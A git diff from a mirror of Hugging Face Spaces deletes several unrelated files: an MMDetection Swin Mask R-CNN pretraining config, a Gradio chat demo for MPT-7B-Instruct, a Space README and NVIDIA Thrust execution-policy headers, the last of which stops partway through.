          - If you find this resource valuable, your support in the form of starring - the space would be greatly appreciated. Your engagement plays a vital role - in furthering the application for a community GPU grant, ultimately - enhancing the capabilities and accessibility of this space. -

          - - diff --git a/spaces/limingcv/AlignDet/pretrain/selfsup_mask-rcnn_swin-b_simmim-800e/selfsup_mask-rcnn_swin-b_simmim.py b/spaces/limingcv/AlignDet/pretrain/selfsup_mask-rcnn_swin-b_simmim-800e/selfsup_mask-rcnn_swin-b_simmim.py deleted file mode 100644 index 549c6e37beddd4bcc5245348de941699b8918403..0000000000000000000000000000000000000000 --- a/spaces/limingcv/AlignDet/pretrain/selfsup_mask-rcnn_swin-b_simmim-800e/selfsup_mask-rcnn_swin-b_simmim.py +++ /dev/null @@ -1,442 +0,0 @@ -model = dict( - type='SelfSupDetector', - backbone=dict( - type='SelfSupMaskRCNN', - backbone=dict( - type='SwinTransformer', - embed_dims=128, - depths=[2, 2, 18, 2], - num_heads=[4, 8, 16, 32], - window_size=7, - mlp_ratio=4, - qkv_bias=True, - qk_scale=None, - drop_rate=0.0, - attn_drop_rate=0.0, - drop_path_rate=0.2, - patch_norm=True, - out_indices=(0, 1, 2, 3), - with_cp=False, - frozen_stages=4, - convert_weights=True, - init_cfg=dict( - type='Pretrained', - checkpoint='pretrain/simmim/simmim_800e_official.pth')), - neck=dict( - type='FPN', - in_channels=[128, 256, 512, 1024], - out_channels=256, - num_outs=5), - rpn_head=dict( - type='RPNHead', - in_channels=256, - feat_channels=256, - anchor_generator=dict( - type='AnchorGenerator', - scales=[8], - ratios=[0.5, 1.0, 2.0], - strides=[4, 8, 16, 32, 64]), - bbox_coder=dict( - type='DeltaXYWHBBoxCoder', - target_means=[0.0, 0.0, 0.0, 0.0], - target_stds=[1.0, 1.0, 1.0, 1.0]), - loss_cls=dict( - type='CrossEntropyLoss', use_sigmoid=True, loss_weight=1.0), - loss_bbox=dict(type='L1Loss', loss_weight=1.0)), - roi_head=dict( - type='SelfSupStandardRoIHead', - bbox_roi_extractor=dict( - type='SingleRoIExtractor', - roi_layer=dict( - type='RoIAlign', output_size=7, sampling_ratio=0), - out_channels=256, - featmap_strides=[4, 8, 16, 32]), - bbox_head=dict( - type='SelfSupShared4Conv1FCBBoxHead', - in_channels=256, - num_classes=256, - roi_feat_size=7, - reg_class_agnostic=False, - loss_bbox=dict(type='L1Loss', loss_weight=1.0), - loss_cls=dict( - type='ContrastiveLoss', loss_weight=1.0, temperature=0.5)), - mask_roi_extractor=None, - mask_head=None), - train_cfg=dict( - rpn=dict( - assigner=dict( - type='MaxIoUAssigner', - pos_iou_thr=0.7, - neg_iou_thr=0.3, - min_pos_iou=0.3, - match_low_quality=True, - ignore_iof_thr=-1), - sampler=dict( - type='RandomSampler', - num=4096, - pos_fraction=1.0, - neg_pos_ub=-1, - add_gt_as_proposals=False), - allowed_border=-1, - pos_weight=-1, - debug=False), - rpn_proposal=dict( - nms_pre=2000, - max_per_img=1000, - nms=dict(type='nms', iou_threshold=0.7), - min_bbox_size=0), - rcnn=dict( - assigner=dict( - type='MaxIoUAssigner', - pos_iou_thr=0.5, - neg_iou_thr=0.5, - min_pos_iou=0.5, - match_low_quality=True, - ignore_iof_thr=-1, - gt_max_assign_all=False), - sampler=dict( - type='RandomSampler', - num=4096, - pos_fraction=1, - neg_pos_ub=0, - add_gt_as_proposals=True), - mask_size=28, - pos_weight=-1, - debug=False)), - test_cfg=dict( - rpn=dict( - nms_pre=1000, - max_per_img=1000, - nms=dict(type='nms', iou_threshold=0.7), - min_bbox_size=0), - rcnn=dict( - score_thr=0.05, - nms=dict(type='nms', iou_threshold=0.5), - max_per_img=100, - mask_thr_binary=0.5)))) -train_dataset_type = 'MultiViewCocoDataset' -test_dataset_type = 'CocoDataset' -data_root = 'data/coco/' -classes = ['selective_search'] -img_norm_cfg = dict( - mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_rgb=True) -load_pipeline = [ - dict(type='LoadImageFromFile'), - dict(type='LoadAnnotations', with_bbox=True, with_mask=False) -] -train_pipeline1 = [ - dict( - type='Resize', - img_scale=[(1333, 640), (1333, 672), (1333, 704), (1333, 736), - (1333, 768), (1333, 800)], - multiscale_mode='value', - keep_ratio=True), - dict(type='FilterAnnotations', min_gt_bbox_wh=(0.01, 0.01)), - dict(type='Pad', size_divisor=32), - dict(type='RandFlip', flip_ratio=0.5), - dict( - type='OneOf', - transforms=[ - dict(type='Identity'), - dict(type='AutoContrast'), - dict(type='RandEqualize'), - dict(type='RandSolarize'), - dict(type='RandColor'), - dict(type='RandContrast'), - dict(type='RandBrightness'), - dict(type='RandSharpness'), - dict(type='RandPosterize') - ]), - dict( - type='Normalize', - mean=[123.675, 116.28, 103.53], - std=[58.395, 57.12, 57.375], - to_rgb=True), - dict(type='DefaultFormatBundle'), - dict(type='Collect', keys=['img', 'gt_bboxes', 'gt_labels']) -] -train_pipeline2 = [ - dict( - type='Resize', - img_scale=[(1333, 640), (1333, 672), (1333, 704), (1333, 736), - (1333, 768), (1333, 800)], - multiscale_mode='value', - keep_ratio=True), - dict(type='FilterAnnotations', min_gt_bbox_wh=(0.01, 0.01)), - dict(type='Pad', size_divisor=32), - dict(type='RandFlip', flip_ratio=0.5), - dict( - type='OneOf', - transforms=[ - dict(type='Identity'), - dict(type='AutoContrast'), - dict(type='RandEqualize'), - dict(type='RandSolarize'), - dict(type='RandColor'), - dict(type='RandContrast'), - dict(type='RandBrightness'), - dict(type='RandSharpness'), - dict(type='RandPosterize') - ]), - dict( - type='Normalize', - mean=[123.675, 116.28, 103.53], - std=[58.395, 57.12, 57.375], - to_rgb=True), - dict(type='DefaultFormatBundle'), - dict(type='Collect', keys=['img', 'gt_bboxes', 'gt_labels']) -] -test_pipeline = [ - dict(type='LoadImageFromFile'), - dict( - type='MultiScaleFlipAug', - img_scale=(1333, 800), - flip=False, - transforms=[ - dict(type='Resize', keep_ratio=True), - dict(type='RandomFlip'), - dict( - type='Normalize', - mean=[123.675, 116.28, 103.53], - std=[58.395, 57.12, 57.375], - to_rgb=True), - dict(type='Pad', size_divisor=32), - dict(type='ImageToTensor', keys=['img']), - dict(type='Collect', keys=['img']) - ]) -] -data = dict( - samples_per_gpu=4, - workers_per_gpu=2, - train=dict( - type='MultiViewCocoDataset', - dataset=dict( - type='CocoDataset', - classes=['selective_search'], - ann_file= - 'data/coco/filtered_proposals/train2017_ratio3size0008@0.5.json', - img_prefix='data/coco/train2017/', - pipeline=[ - dict(type='LoadImageFromFile'), - dict(type='LoadAnnotations', with_bbox=True, with_mask=False) - ]), - num_views=2, - pipelines=[[{ - 'type': - 'Resize', - 'img_scale': [(1333, 640), (1333, 672), (1333, 704), (1333, 736), - (1333, 768), (1333, 800)], - 'multiscale_mode': - 'value', - 'keep_ratio': - True - }, { - 'type': 'FilterAnnotations', - 'min_gt_bbox_wh': (0.01, 0.01) - }, { - 'type': 'Pad', - 'size_divisor': 32 - }, { - 'type': 'RandFlip', - 'flip_ratio': 0.5 - }, { - 'type': - 'OneOf', - 'transforms': [{ - 'type': 'Identity' - }, { - 'type': 'AutoContrast' - }, { - 'type': 'RandEqualize' - }, { - 'type': 'RandSolarize' - }, { - 'type': 'RandColor' - }, { - 'type': 'RandContrast' - }, { - 'type': 'RandBrightness' - }, { - 'type': 'RandSharpness' - }, { - 'type': 'RandPosterize' - }] - }, { - 'type': 'Normalize', - 'mean': [123.675, 116.28, 103.53], - 'std': [58.395, 57.12, 57.375], - 'to_rgb': True - }, { - 'type': 'DefaultFormatBundle' - }, { - 'type': 'Collect', - 'keys': ['img', 'gt_bboxes', 'gt_labels'] - }], - [{ - 'type': - 'Resize', - 'img_scale': [(1333, 640), (1333, 672), (1333, 704), - (1333, 736), (1333, 768), (1333, 800)], - 'multiscale_mode': - 'value', - 'keep_ratio': - True - }, { - 'type': 'FilterAnnotations', - 'min_gt_bbox_wh': (0.01, 0.01) - }, { - 'type': 'Pad', - 'size_divisor': 32 - }, { - 'type': 'RandFlip', - 'flip_ratio': 0.5 - }, { - 'type': - 'OneOf', - 'transforms': [{ - 'type': 'Identity' - }, { - 'type': 'AutoContrast' - }, { - 'type': 'RandEqualize' - }, { - 'type': 'RandSolarize' - }, { - 'type': 'RandColor' - }, { - 'type': 'RandContrast' - }, { - 'type': 'RandBrightness' - }, { - 'type': 'RandSharpness' - }, { - 'type': 'RandPosterize' - }] - }, { - 'type': 'Normalize', - 'mean': [123.675, 116.28, 103.53], - 'std': [58.395, 57.12, 57.375], - 'to_rgb': True - }, { - 'type': 'DefaultFormatBundle' - }, { - 'type': 'Collect', - 'keys': ['img', 'gt_bboxes', 'gt_labels'] - }]]), - val=dict( - type='CocoDataset', - classes=['selective_search'], - ann_file='data/coco/annotations/instances_val2017.json', - img_prefix='data/coco/val2017/', - pipeline=[ - dict(type='LoadImageFromFile'), - dict( - type='MultiScaleFlipAug', - img_scale=(1333, 800), - flip=False, - transforms=[ - dict(type='Resize', keep_ratio=True), - dict(type='RandomFlip'), - dict( - type='Normalize', - mean=[123.675, 116.28, 103.53], - std=[58.395, 57.12, 57.375], - to_rgb=True), - dict(type='Pad', size_divisor=32), - dict(type='ImageToTensor', keys=['img']), - dict(type='Collect', keys=['img']) - ]) - ]), - test=dict( - type='CocoDataset', - classes=['selective_search'], - ann_file='data/coco/annotations/instances_val2017.json', - img_prefix='data/coco/val2017/', - pipeline=[ - dict(type='LoadImageFromFile'), - dict( - type='MultiScaleFlipAug', - img_scale=(1333, 800), - flip=False, - transforms=[ - dict(type='Resize', keep_ratio=True), - dict(type='RandomFlip'), - dict( - type='Normalize', - mean=[123.675, 116.28, 103.53], - std=[58.395, 57.12, 57.375], - to_rgb=True), - dict(type='Pad', size_divisor=32), - dict(type='ImageToTensor', keys=['img']), - dict(type='Collect', keys=['img']) - ]) - ])) -evaluation = dict(interval=65535, gpu_collect=True, metric='bbox') -optimizer = dict( - type='AdamW', - lr=6e-05, - betas=(0.9, 0.999), - weight_decay=0.05, - paramwise_cfg=dict( - custom_keys=dict( - absolute_pos_embed=dict(decay_mult=0.0), - relative_position_bias_table=dict(decay_mult=0.0), - norm=dict(decay_mult=0.0)))) -optimizer_config = dict(grad_clip=None) -lr_config = dict( - policy='step', - warmup='linear', - warmup_iters=1000, - warmup_ratio=0.001, - step=[8, 11]) -runner = dict(type='EpochBasedRunner', max_epochs=12) -checkpoint_config = dict(interval=1) -log_config = dict(interval=50, hooks=[dict(type='TextLoggerHook')]) -custom_hooks = [ - dict(type='MomentumUpdateHook'), - dict( - type='MMDetWandbHook', - init_kwargs=dict(project='I2B', group='pretrain'), - interval=50, - num_eval_images=0, - log_checkpoint=False) -] -dist_params = dict(backend='nccl') -log_level = 'INFO' -load_from = None -resume_from = None -workflow = [('train', 1)] -opencv_num_threads = 0 -mp_start_method = 'fork' -auto_scale_lr = dict(enable=True, base_batch_size=32) -custom_imports = dict( - imports=[ - 'mmselfsup.datasets.pipelines', - 'selfsup.core.hook.momentum_update_hook', - 'selfsup.datasets.pipelines.selfsup_pipelines', - 'selfsup.datasets.pipelines.rand_aug', - 'selfsup.datasets.single_view_coco', - 'selfsup.datasets.multi_view_coco', - 'selfsup.models.losses.contrastive_loss', - 'selfsup.models.dense_heads.fcos_head', - 'selfsup.models.dense_heads.retina_head', - 'selfsup.models.dense_heads.detr_head', - 'selfsup.models.dense_heads.deformable_detr_head', - 'selfsup.models.roi_heads.bbox_heads.convfc_bbox_head', - 'selfsup.models.roi_heads.standard_roi_head', - 'selfsup.models.detectors.selfsup_detector', - 'selfsup.models.detectors.selfsup_fcos', - 'selfsup.models.detectors.selfsup_detr', - 'selfsup.models.detectors.selfsup_deformable_detr', - 'selfsup.models.detectors.selfsup_retinanet', - 'selfsup.models.detectors.selfsup_mask_rcnn', - 'selfsup.core.bbox.assigners.hungarian_assigner', - 'selfsup.core.bbox.assigners.pseudo_hungarian_assigner', - 'selfsup.core.bbox.match_costs.match_cost' - ], - allow_failed_imports=False) -pretrained = 'pretrain/simmim/simmim_800e_official.pth' -find_unused_parameters = True -work_dir = 'work_dirs/selfsup_mask-rcnn_swin-b_simmim-800e' -auto_resume = False -gpu_ids = range(0, 8) diff --git a/spaces/lincquiQcaudo/Top-20-Diffusion/Dil Toh Baccha Hai Ji Movie In Hindi Download.md b/spaces/lincquiQcaudo/Top-20-Diffusion/Dil Toh Baccha Hai Ji Movie In Hindi Download.md deleted file mode 100644 index 5d146a9e263a22255eb5248748381e45862d1f88..0000000000000000000000000000000000000000 --- a/spaces/lincquiQcaudo/Top-20-Diffusion/Dil Toh Baccha Hai Ji Movie In Hindi Download.md +++ /dev/null @@ -1,6 +0,0 @@ -

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            \ No newline at end of file diff --git a/spaces/lukesteuber/contechnical/app.py b/spaces/lukesteuber/contechnical/app.py deleted file mode 100644 index e7272909e8c98443affe9d692057aeeced3bff72..0000000000000000000000000000000000000000 --- a/spaces/lukesteuber/contechnical/app.py +++ /dev/null @@ -1,246 +0,0 @@ -# Copyright 2023 MosaicML spaces authors -# SPDX-License-Identifier: Apache-2.0 -# and -# the https://huggingface.co/spaces/HuggingFaceH4/databricks-dolly authors -import datetime -import os -from threading import Event, Thread -from uuid import uuid4 - -import gradio as gr -import requests -import torch -from transformers import StoppingCriteria, StoppingCriteriaList, TextIteratorStreamer - -from quick_pipeline import InstructionTextGenerationPipeline as pipeline - - -# Configuration -HF_TOKEN = os.getenv("HF_TOKEN", None) - -examples = [ - # to do: add coupled hparams so e.g. poem has higher temp - "Write a travel blog about a 3-day trip to Thailand.", - "Write a short story about a robot that has a nice day.", - "Convert the following to a single line of JSON:\n\n```name: John\nage: 30\naddress:\n street:123 Main St.\n city: San Francisco\n state: CA\n zip: 94101\n```", - "Write a quick email to congratulate MosaicML about the launch of their inference offering.", - "Explain how a candle works to a 6 year old in a few sentences.", - "What are some of the most common misconceptions about birds?", -] - -# Initialize the model and tokenizer -generate = pipeline( - "mosaicml/mpt-7b-instruct", - torch_dtype=torch.bfloat16, - trust_remote_code=True, - use_auth_token=HF_TOKEN, -) -stop_token_ids = generate.tokenizer.convert_tokens_to_ids(["<|endoftext|>"]) - - -# Define a custom stopping criteria -class StopOnTokens(StoppingCriteria): - def __call__(self, input_ids: torch.LongTensor, scores: torch.FloatTensor, **kwargs) -> bool: - for stop_id in stop_token_ids: - if input_ids[0][-1] == stop_id: - return True - return False - - -def log_conversation(session_id, instruction, response, generate_kwargs): - logging_url = os.getenv("LOGGING_URL", None) - if logging_url is None: - return - - timestamp = datetime.datetime.now().strftime("%Y-%m-%dT%H:%M:%S") - - data = { - "session_id": session_id, - "timestamp": timestamp, - "instruction": instruction, - "response": response, - "generate_kwargs": generate_kwargs, - } - - try: - requests.post(logging_url, json=data) - except requests.exceptions.RequestException as e: - print(f"Error logging conversation: {e}") - - -def process_stream(instruction, temperature, top_p, top_k, max_new_tokens, session_id): - # Tokenize the input - input_ids = generate.tokenizer( - generate.format_instruction(instruction), return_tensors="pt" - ).input_ids - input_ids = input_ids.to(generate.model.device) - - # Initialize the streamer and stopping criteria - streamer = TextIteratorStreamer( - generate.tokenizer, timeout=10.0, skip_prompt=True, skip_special_tokens=True - ) - stop = StopOnTokens() - - if temperature < 0.1: - temperature = 0.0 - do_sample = False - else: - do_sample = True - - gkw = { - **generate.generate_kwargs, - **{ - "input_ids": input_ids, - "max_new_tokens": max_new_tokens, - "temperature": temperature, - "do_sample": do_sample, - "top_p": top_p, - "top_k": top_k, - "streamer": streamer, - "stopping_criteria": StoppingCriteriaList([stop]), - }, - } - - response = "" - stream_complete = Event() - - def generate_and_signal_complete(): - generate.model.generate(**gkw) - stream_complete.set() - - def log_after_stream_complete(): - stream_complete.wait() - log_conversation( - session_id, - instruction, - response, - { - "top_k": top_k, - "top_p": top_p, - "temperature": temperature, - }, - ) - - t1 = Thread(target=generate_and_signal_complete) - t1.start() - - t2 = Thread(target=log_after_stream_complete) - t2.start() - - for new_text in streamer: - response += new_text - yield response - - -with gr.Blocks( - theme=gr.themes.Soft(), - css=".disclaimer {font-variant-caps: all-small-caps;}", -) as demo: - session_id = gr.State(lambda: str(uuid4())) - gr.Markdown( - """

            MosaicML MPT-7B-Instruct

            - - This demo is of [MPT-7B-Instruct](https://huggingface.co/mosaicml/mpt-7b-instruct). It is based on [MPT-7B](https://huggingface.co/mosaicml/mpt-7b) fine-tuned with approximately [60,000 instruction demonstrations](https://huggingface.co/datasets/sam-mosaic/dolly_hhrlhf) - - If you're interested in [training](https://www.mosaicml.com/training) and [deploying](https://www.mosaicml.com/inference) your own MPT or LLMs, [sign up](https://forms.mosaicml.com/demo?utm_source=huggingface&utm_medium=referral&utm_campaign=mpt-7b) for MosaicML platform. - - This is running on a smaller, shared GPU, so it may take a few seconds to respond. If you want to run it on your own GPU, you can [download the model from HuggingFace](https://huggingface.co/mosaicml/mpt-7b-instruct) and run it locally. Or [Duplicate the Space](https://huggingface.co/spaces/mosaicml/mpt-7b-instruct?duplicate=true) to skip the queue and run in a private space.""" - ) - with gr.Row(): - with gr.Column(): - with gr.Row(): - instruction = gr.Textbox( - placeholder="Enter your question here", - label="Question/Instruction", - elem_id="q-input", - ) - with gr.Accordion("Advanced Options:", open=False): - with gr.Row(): - with gr.Column(): - with gr.Row(): - temperature = gr.Slider( - label="Temperature", - value=0.1, - minimum=0.0, - maximum=1.0, - step=0.1, - interactive=True, - info="Higher values produce more diverse outputs", - ) - with gr.Column(): - with gr.Row(): - top_p = gr.Slider( - label="Top-p (nucleus sampling)", - value=1.0, - minimum=0.0, - maximum=1, - step=0.01, - interactive=True, - info=( - "Sample from the smallest possible set of tokens whose cumulative probability " - "exceeds top_p. Set to 1 to disable and sample from all tokens." - ), - ) - with gr.Column(): - with gr.Row(): - top_k = gr.Slider( - label="Top-k", - value=0, - minimum=0.0, - maximum=200, - step=1, - interactive=True, - info="Sample from a shortlist of top-k tokens — 0 to disable and sample from all tokens.", - ) - with gr.Column(): - with gr.Row(): - max_new_tokens = gr.Slider( - label="Maximum new tokens", - value=256, - minimum=0, - maximum=1664, - step=5, - interactive=True, - info="The maximum number of new tokens to generate", - ) - with gr.Row(): - submit = gr.Button("Submit") - with gr.Row(): - with gr.Box(): - gr.Markdown("**MPT-7B-Instruct**") - output_7b = gr.Markdown() - - with gr.Row(): - gr.Examples( - examples=examples, - inputs=[instruction], - cache_examples=False, - fn=process_stream, - outputs=output_7b, - ) - with gr.Row(): - gr.Markdown( - "Disclaimer: MPT-7B can produce factually incorrect output, and should not be relied on to produce " - "factually accurate information. MPT-7B was trained on various public datasets; while great efforts " - "have been taken to clean the pretraining data, it is possible that this model could generate lewd, " - "biased, or otherwise offensive outputs.", - elem_classes=["disclaimer"], - ) - with gr.Row(): - gr.Markdown( - "[Privacy policy](https://gist.github.com/samhavens/c29c68cdcd420a9aa0202d0839876dac)", - elem_classes=["disclaimer"], - ) - - submit.click( - process_stream, - inputs=[instruction, temperature, top_p, top_k, max_new_tokens, session_id], - outputs=output_7b, - ) - instruction.submit( - process_stream, - inputs=[instruction, temperature, top_p, top_k, max_new_tokens, session_id], - outputs=output_7b, - ) - -demo.queue(max_size=32, concurrency_count=4).launch(debug=True) diff --git a/spaces/lunarring/latentblending/ldm/modules/encoders/__init__.py b/spaces/lunarring/latentblending/ldm/modules/encoders/__init__.py deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/spaces/luodian/LoRA-DreamBooth-Training-UI/README.md b/spaces/luodian/LoRA-DreamBooth-Training-UI/README.md deleted file mode 100644 index b61f96a3f0f5df541bd4e0dfba3a468ceb1c54e9..0000000000000000000000000000000000000000 --- a/spaces/luodian/LoRA-DreamBooth-Training-UI/README.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: LoRA DreamBooth Training UI -emoji: ⚡ -colorFrom: red -colorTo: purple -sdk: gradio -sdk_version: 3.16.2 -python_version: 3.10.9 -app_file: app.py -pinned: false -license: mit -duplicated_from: lora-library/LoRA-DreamBooth-Training-UI ---- - -Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference diff --git a/spaces/ma-xu/LIVE/thrust/thrust/execution_policy.h b/spaces/ma-xu/LIVE/thrust/thrust/execution_policy.h deleted file mode 100644 index 60a4caba0f3bdb5215a5642c82ef1efc668dfda3..0000000000000000000000000000000000000000 --- a/spaces/ma-xu/LIVE/thrust/thrust/execution_policy.h +++ /dev/null @@ -1,396 +0,0 @@ -/* - * Copyright 2008-2013 NVIDIA Corporation - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -/*! \file thrust/execution_policy.h - * \brief Thrust execution policies. - */ - -#pragma once - -#include -#include -#include -#include - -//! \cond - -// #include the host system's execution_policy header -#define __THRUST_HOST_SYSTEM_EXECUTION_POLICY_HEADER <__THRUST_HOST_SYSTEM_ROOT/execution_policy.h> -#include __THRUST_HOST_SYSTEM_EXECUTION_POLICY_HEADER -#undef __THRUST_HOST_SYSTEM_EXECUTION_POLICY_HEADER - -// #include the device system's execution_policy.h header -#define __THRUST_DEVICE_SYSTEM_EXECUTION_POLICY_HEADER <__THRUST_DEVICE_SYSTEM_ROOT/execution_policy.h> -#include __THRUST_DEVICE_SYSTEM_EXECUTION_POLICY_HEADER -#undef __THRUST_DEVICE_SYSTEM_EXECUTION_POLICY_HEADER - -//! \endcond - -namespace thrust -{ - - -/*! \cond - */ - - -namespace detail -{ - - -typedef thrust::system::__THRUST_HOST_SYSTEM_NAMESPACE::detail::par_t host_t; - - -typedef thrust::system::__THRUST_DEVICE_SYSTEM_NAMESPACE::detail::par_t device_t; - - -} // end detail - - -/*! \endcond - */ - - -/*! \addtogroup execution_policies Parallel Execution Policies - * \{ - */ - - -// define execution_policy for the purpose of Doxygenating it -// it is actually defined elsewhere -#if 0 -/*! \p execution_policy is the base class for all Thrust parallel execution policies - * like \p thrust::host, \p thrust::device, and each backend system's tag type. - * - * Custom user-defined backends should derive a policy from this type in order to - * interoperate with Thrust algorithm dispatch. - * - * The following code snippet demonstrates how to derive a standalone custom execution policy - * from \p thrust::execution_policy to implement a backend which only implements \p for_each: - * - * \code - * #include - * #include - * - * // define a type derived from thrust::execution_policy to distinguish our custom execution policy: - * struct my_policy : thrust::execution_policy {}; - * - * // overload for_each on my_policy - * template - * Iterator for_each(my_policy, Iterator first, Iterator last, Function f) - * { - * std::cout << "Hello, world from for_each(my_policy)!" << std::endl; - * - * for(; first < last; ++first) - * { - * f(*first); - * } - * - * return first; - * } - * - * struct ignore_argument - * { - * void operator()(int) {} - * }; - * - * int main() - * { - * int data[4]; - * - * // dispatch thrust::for_each using our custom policy: - * my_policy exec; - * thrust::for_each(exec, data, data + 4, ignore_argument()); - * - * // can't dispatch thrust::transform because no overload exists for my_policy: - * //thrust::transform(exec, data, data, + 4, data, thrust::identity()); // error! - * - * return 0; - * } - * \endcode - * - * \see host_execution_policy - * \see device_execution_policy - */ -template -struct execution_policy : thrust::detail::execution_policy_base -{}; -#endif - - -/*! \p host_execution_policy is the base class for all Thrust parallel execution policies - * which are derived from Thrust's default host backend system configured with the \p THRUST_HOST_SYSTEM - * macro. - * - * Custom user-defined backends which wish to inherit the functionality of Thrust's host backend system - * should derive a policy from this type in order to interoperate with Thrust algorithm dispatch. - * - * The following code snippet demonstrates how to derive a standalone custom execution policy from - * \p thrust::host_execution_policy to implement a backend which specializes \p for_each while inheriting - * the behavior of every other algorithm from the host system: - * - * \code - * #include - * #include - * - * // define a type derived from thrust::host_execution_policy to distinguish our custom execution policy: - * struct my_policy : thrust::host_execution_policy {}; - * - * // overload for_each on my_policy - * template - * Iterator for_each(my_policy, Iterator first, Iterator last, Function f) - * { - * std::cout << "Hello, world from for_each(my_policy)!" << std::endl; - * - * for(; first < last; ++first) - * { - * f(*first); - * } - * - * return first; - * } - * - * struct ignore_argument - * { - * void operator()(int) {} - * }; - * - * int main() - * { - * int data[4]; - * - * // dispatch thrust::for_each using our custom policy: - * my_policy exec; - * thrust::for_each(exec, data, data + 4, ignore_argument()); - * - * // dispatch thrust::transform whose behavior our policy inherits - * thrust::transform(exec, data, data, + 4, data, thrust::identity()); - * - * return 0; - * } - * \endcode - * - * \see execution_policy - * \see device_execution_policy - */ -template - struct host_execution_policy - : thrust::system::__THRUST_HOST_SYSTEM_NAMESPACE::execution_policy -{}; - - -/*! \p device_execution_policy is the base class for all Thrust parallel execution policies - * which are derived from Thrust's default device backend system configured with the \p THRUST_DEVICE_SYSTEM - * macro. - * - * Custom user-defined backends which wish to inherit the functionality of Thrust's device backend system - * should derive a policy from this type in order to interoperate with Thrust algorithm dispatch. - * - * The following code snippet demonstrates how to derive a standalone custom execution policy from - * \p thrust::device_execution_policy to implement a backend which specializes \p for_each while inheriting - * the behavior of every other algorithm from the device system: - * - * \code - * #include - * #include - * - * // define a type derived from thrust::device_execution_policy to distinguish our custom execution policy: - * struct my_policy : thrust::device_execution_policy {}; - * - * // overload for_each on my_policy - * template - * Iterator for_each(my_policy, Iterator first, Iterator last, Function f) - * { - * std::cout << "Hello, world from for_each(my_policy)!" << std::endl; - * - * for(; first < last; ++first) - * { - * f(*first); - * } - * - * return first; - * } - * - * struct ignore_argument - * { - * void operator()(int) {} - * }; - * - * int main() - * { - * int data[4]; - * - * // dispatch thrust::for_each using our custom policy: - * my_policy exec; - * thrust::for_each(exec, data, data + 4, ignore_argument()); - * - * // dispatch thrust::transform whose behavior our policy inherits - * thrust::transform(exec, data, data, + 4, data, thrust::identity()); - * - * return 0; - * } - * \endcode - * - * \see execution_policy - * \see host_execution_policy - */ -template - struct device_execution_policy - : thrust::system::__THRUST_DEVICE_SYSTEM_NAMESPACE::execution_policy -{}; - - -/*! \p thrust::host is the default parallel execution policy associated with Thrust's host backend system - * configured by the \p THRUST_HOST_SYSTEM macro. - * - * Instead of relying on implicit algorithm dispatch through iterator system tags, users may directly target - * algorithm dispatch at Thrust's host system by providing \p thrust::host as an algorithm parameter. - * - * Explicit dispatch can be useful in avoiding the introduction of data copies into containers such as - * \p thrust::host_vector. - * - * Note that even though \p thrust::host targets the host CPU, it is a parallel execution policy. That is, - * the order that an algorithm invokes functors or dereferences iterators is not defined. - * - * The type of \p thrust::host is implementation-defined. - * - * The following code snippet demonstrates how to use \p thrust::host to explicitly dispatch an invocation - * of \p thrust::for_each to the host backend system: - * - * \code - * #include - * #include - * #include - * - * struct printf_functor - * { - * __host__ __device__ - * void operator()(int x) - * { - * printf("%d\n", x); - * } - * }; - * ... - * int vec(3); - * vec[0] = 0; vec[1] = 1; vec[2] = 2; - * - * thrust::for_each(thrust::host, vec.begin(), vec.end(), printf_functor()); - * - * // 0 1 2 is printed to standard output in some unspecified order - * \endcode - * - * \see host_execution_policy - * \see thrust::device - */ -static const detail::host_t host; - - -/*! \p thrust::device is the default parallel execution policy associated with Thrust's device backend system - * configured by the \p THRUST_DEVICE_SYSTEM macro. - * - * Instead of relying on implicit algorithm dispatch through iterator system tags, users may directly target - * algorithm dispatch at Thrust's device system by providing \p thrust::device as an algorithm parameter. - * - * Explicit dispatch can be useful in avoiding the introduction of data copies into containers such as - * \p thrust::device_vector or to avoid wrapping e.g. raw pointers allocated by the CUDA API with types - * such as \p thrust::device_ptr. - * - * The user must take care to guarantee that the iterators provided to an algorithm are compatible with - * the device backend system. For example, raw pointers allocated by std::malloc typically - * cannot be dereferenced by a GPU. For this reason, raw pointers allocated by host APIs should not be mixed - * with a \p thrust::device algorithm invocation when the device backend is CUDA. - * - * The type of \p thrust::device is implementation-defined. - * - * The following code snippet demonstrates how to use \p thrust::device to explicitly dispatch an invocation - * of \p thrust::for_each to the device backend system: - * - * \code - * #include - * #include - * #include - * #include - * - * struct printf_functor - * { - * __host__ __device__ - * void operator()(int x) - * { - * printf("%d\n", x); - * } - * }; - * ... - * thrust::device_vector vec(3); - * vec[0] = 0; vec[1] = 1; vec[2] = 2; - * - * thrust::for_each(thrust::device, vec.begin(), vec.end(), printf_functor()); - * - * // 0 1 2 is printed to standard output in some unspecified order - * \endcode - * - * \see host_execution_policy - * \see thrust::device - */ -THRUST_INLINE_CONSTANT detail::device_t device; - - -// define seq for the purpose of Doxygenating it -// it is actually defined elsewhere -#if 0 -/*! \p thrust::seq is an execution policy which requires an algorithm invocation to execute sequentially - * in the current thread. It can not be configured by a compile-time macro. - * - * The type of \p thrust::seq is implementation-defined. - * - * The following code snippet demonstrates how to use \p thrust::seq to explicitly execute an invocation - * of \p thrust::for_each sequentially: - * - * \code - * #include - * #include - * #include - * #include - * - * struct printf_functor - * { - * __host__ __device__ - * void operator()(int x) - * { - * printf("%d\n", x); - * } - * }; - * ... - * std::vector vec(3); - * vec[0] = 0; vec[1] = 1; vec[2] = 2; - * - * thrust::for_each(thrust::seq, vec.begin(), vec.end(), printf_functor()); - * - * // 0 1 2 is printed to standard output in sequential order - * \endcode - * - * \see thrust::host - * \see thrust::device - */ -static const detail::seq_t seq; -#endif - - -/*! \} - */ - - -} // end thrust - diff --git a/spaces/ma-xu/LIVE/thrust/thrust/system/cpp/detail/find.h b/spaces/ma-xu/LIVE/thrust/thrust/system/cpp/detail/find.h deleted file mode 100644 index 29c0dafc8ceea556c99666b7cdf22d07f5b458bd..0000000000000000000000000000000000000000 --- a/spaces/ma-xu/LIVE/thrust/thrust/system/cpp/detail/find.h +++ /dev/null @@ -1,23 +0,0 @@ -/* - * Copyright 2008-2013 NVIDIA Corporation - * - 